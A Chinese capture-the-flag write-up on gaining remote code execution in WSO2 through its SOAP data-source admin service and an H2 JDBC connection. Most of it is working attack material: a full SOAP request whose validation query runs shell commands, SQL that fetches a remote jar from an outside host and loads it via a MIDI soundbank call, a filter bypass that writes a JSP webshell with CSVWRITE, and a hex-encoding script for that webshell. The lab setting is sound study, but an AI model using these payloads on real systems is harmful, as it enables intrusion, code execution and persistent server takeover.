
复现环境:https://gz.imxbt.cn/games/36/challenges#1412-wso2
wso2系统中在连接h2时存在一定的安全隐患,SOAP接口导致了安全问题,环境启动需4-5分钟,请耐心等待。
访问/services/Version可以探测到版本信息

访问/carbon/进入后台登录界面,在repository/conf/deployment.toml文件中可以得到admin账号密码
1 2 3 4
| [super_admin] username = "admin" password = "abcd1234" create_admin_account = true
|

可以知道当前的java版本为21
根据:Attacking WSO2 Products:RCE via Data-sources admin service
我们可以通过 NDataSourceAdmin 服务的 testDataSourceConnection 功能连接任意的JDBC URL
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| POST /services/NDataSourceAdmin.NDataSourceAdminHttpsSoap12Endpoint/ HTTP/1.1 Host: victim-host:9443 Content-Type: application/soap+xml;charset=UTF-8 SOAPAction: "urn:testDataSourceConnection" Authorization: Basic <creds>
<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:ser="http://org.apache.axis2/xsd" xmlns:xsd="http://org.apache.axis2/xsd" xmlns:core="http://core.ndatasource.carbon.wso2.org/xsd"> <soap:Header/> <soap:Body> <ser:testDataSourceConnection> <ser:dsmInfo> <xsd:definition> <xsd:dsXMLConfiguration> <![CDATA[ <configuration xmlns:svns="http://org.wso2.securevault/configuration"> <url>jdbc:h2:/tmp/exploit-h2.db;DB_CLOSE_ON_EXIT=FALSE;LOCK_TIMEOUT=60000</url> <username></username> <password></password> <driverClassName>org.h2.Driver</driverClassName> <maxActive>50</maxActive> <maxWait>60000</maxWait> <testOnBorrow>true</testOnBorrow> <validationQuery> DROP ALIAS IF EXISTS EXEC_READ; CREATE ALIAS EXEC_READ AS $$ String execRead(String cmd) throws Exception { Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); StringBuilder sb = new StringBuilder(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } throw new RuntimeException("CMD OUTPUT:\n" + sb.toString()); } $$; CALL EXEC_READ('id'); </validationQuery> <validationInterval>30000</validationInterval> <defaultAutoCommit>true</defaultAutoCommit> </configuration> ]]> </xsd:dsXMLConfiguration> <xsd:type>RDBMS</xsd:type> </xsd:definition> <xsd:description>Test H2 Database Connection</xsd:description> <xsd:jndiConfig> <core:name>jdbc/TestH2DB</core:name> <core:useDataSourceFactory>false</core:useDataSourceFactory> </xsd:jndiConfig> <xsd:name>TEST_H2_DB</xsd:name> <xsd:system>false</xsd:system> </ser:dsmInfo> </ser:testDataSourceConnection> </soap:Body> </soap:Envelope>
|
尝试利用发现报错:Validation query is too long

看到源码:org.wso2.carbon.ndatasource.core.services.NDataSourceAdminService#testDataSourceConnection

org.wso2.carbon.ndatasource.core.DataSourceRepository#testDataSourceConnection

org.wso2.carbon.ndatasource.rdbms.RDBMSDataSourceReader#testDataSourceConnection

第一个过滤,url中不允许存在;init=

第二个过滤,限制了validationQuery长度不能大于280
出网利用
长度限制还是很好绕过的,直接远程加载即可,RUNSCRIPT FROM 'http://x.x.x.x:8000/poc.sql';
简单执行发现

该环境没有javac,无法编译 Java 代码,而且为JDK高版本,参考:
H2 RCE 在 JRE 17 环境下的利用
H2 RCE在JRE 17环境下的利用-续集
环境中没有spring,所以选择方案二
1 2 3 4 5 6 7 8 9 10
| CREATE ALIAS Utils_INSTANCE FOR 'org.h2.util.Utils.newInstance(java.lang.String,java.lang.Object[])'; SET @classname_str='java.net.URL'; CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)'; SET @url_str='http://x.x.x.x:8000/1.jar'; SET @url_obj=UNESCAPE_VALUE(@url_str); SET @url_object=Utils_INSTANCE(@classname_str,@url_obj); CREATE ALIAS System_INSTANCE FOR 'java.lang.System.setProperty(java.lang.String,java.lang.String)'; CALL System_INSTANCE('jdk.sound.jarsoundbank','true'); CREATE ALIAS MidiSystem_INSTANCE FOR 'javax.sound.midi.MidiSystem.getSoundbank(java.net.URL)'; CALL MidiSystem_INSTANCE(@url_object);
|

通过报错回显
1 2
| javac src/Evil.java jar -cvf payload.jar -C src/ .
|

得到flag

不出网利用
选择从第一个过滤url入手,绕过方法其实很多:
但没找到文件上传点,无法通过上面的方法加载jar包,考虑写文件操作
参考:泛微emobile6.5 6.6前台SQL注入漏洞分析
CSVWRITE 可以将 SELECT 查询的结果直接写入一个CSV文件,绝对路径在管理员首页可以看到
1
| <url>jdbc:h2:/tmp/exploit-h2.db;DB_CLOSE_ON_EXIT=FALSE;LOCK_TIMEOUT=60000;in\it=CALL CSVWRITE('/opt/wso2am/repository/deployment/server/webapps/publisher/123.jsp','select HEXTORAW(''003c002500200020006f00750074002e007000720069006e00740028002200360036003600360036003600360036003600220029003b00200025003e'')','charset=UTF-8 escape= fieldDelimiter= writeColumnHeader=false');</url>
|

成功写入文件,生成hex的python脚本:
1 2 3 4 5 6 7 8 9 10
| import binascii webshell = b'''webshell''' a = binascii.b2a_hex(webshell) b = a.decode() list_b = list(b) for indx, val in enumerate(list_b): if indx % 3 == 0: list_b.insert(indx, '00') aaa = ''.join(list_b) print(aaa)
|

成功RCE
参考:第三届长城杯半决赛-wso2:SOAP管理接口+H2文件读写绕过waf